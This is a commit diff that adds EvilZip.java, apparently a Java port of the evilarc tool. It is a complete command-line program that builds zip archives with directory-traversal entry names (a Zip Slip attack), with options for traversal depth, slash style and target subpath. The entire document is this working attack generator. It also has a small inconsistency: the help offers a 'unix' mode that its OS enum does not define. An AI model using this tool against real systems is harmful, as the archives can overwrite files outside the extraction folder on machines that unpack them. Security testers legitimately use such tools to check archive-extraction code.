Add java fork for evilarc

EvilZip.java

@@ -0,0 +1,84 @@
+
+
+import java.io.*;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipOutputStream;
+
+public class EvilZip {
+    private static final java.lang.String PARAM_OUTPUT_FILE = "--output-file=";
+    private static final java.lang.String PARAM_DEPTH = "--depth=";
+    private static final java.lang.String PARAM_OS = "--os=";
+    private static final java.lang.String PARAM_PATH = "--path=";
+    // 4MB buffer
+    private static final byte[] BUFFER = new byte[4096 * 1024];
+
+
+    public static void main(String[] args) {
+        if (args == null || args.length == 0) {
+            printHelp();
+            return;
+        }
+        String out = "evil.zip";
+        int depths = 2;
+        OS os = OS.win;
+        String path = "";
+        String sourceFile = null;
+
+        for (String param: args) {
+            if (param.startsWith(PARAM_OUTPUT_FILE)) {
+                out = param.substring(PARAM_OUTPUT_FILE.length());
+            } else if (param.startsWith(PARAM_DEPTH)) {
+                depths = Integer.parseInt(param.substring(PARAM_DEPTH.length()));
+            } else if (param.startsWith(PARAM_OS)) {
+                os = OS.valueOf(param.substring(PARAM_OS.length()));
+            } else if (param.startsWith(PARAM_PATH)) {
+                path = param.substring(PARAM_PATH.length());
+            } else {
+                sourceFile = param;
+            }
+        }
+
+        if (sourceFile == null) {
+            printHelp();
+            return;
+        }
+
+        File file = new File(sourceFile);
+        if (!file.exists() || !file.isFile() ) {
+            System.err.println(file + " - is not a file");
+            printHelp();
+            return;
+        }
+
+        String traversal = (os == OS.win ? "..\\" : "../").repeat(Math.max(0, depths)) + path;
+
+        try (ZipOutputStream zipFile = new ZipOutputStream(new FileOutputStream(out))) {
+            ZipEntry e = new ZipEntry(traversal + sourceFile);
+            zipFile.putNextEntry(e);
+            copy(new FileInputStream(file), zipFile);
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+    }
+
+    private static void printHelp() {
+        System.out.println("Create archive containing a file with directory traversal\n" +
+                "usage: java EvilZip <input file> [--output-file=evil.zip] [--depth=2] [--os=win] [--path=]\n" +
+                "   <input file> - zip file to make traversal\n" +
+                "   --output-file - output filename\n" +
+                "   --depth - count of traversals\n" +
+                "   --os - type of slashes to make traversal: win or unix\n" +
+                "   --path - subpath to include in path after traversal");
+    }
+
+    private static void copy(InputStream input, OutputStream output) throws IOException {
+        int bytesRead;
+        while ((bytesRead = input.read(BUFFER))!= -1) {
+            output.write(BUFFER, 0, bytesRead);
+        }
+    }
+
+    private enum OS {
+        win
+    }
+}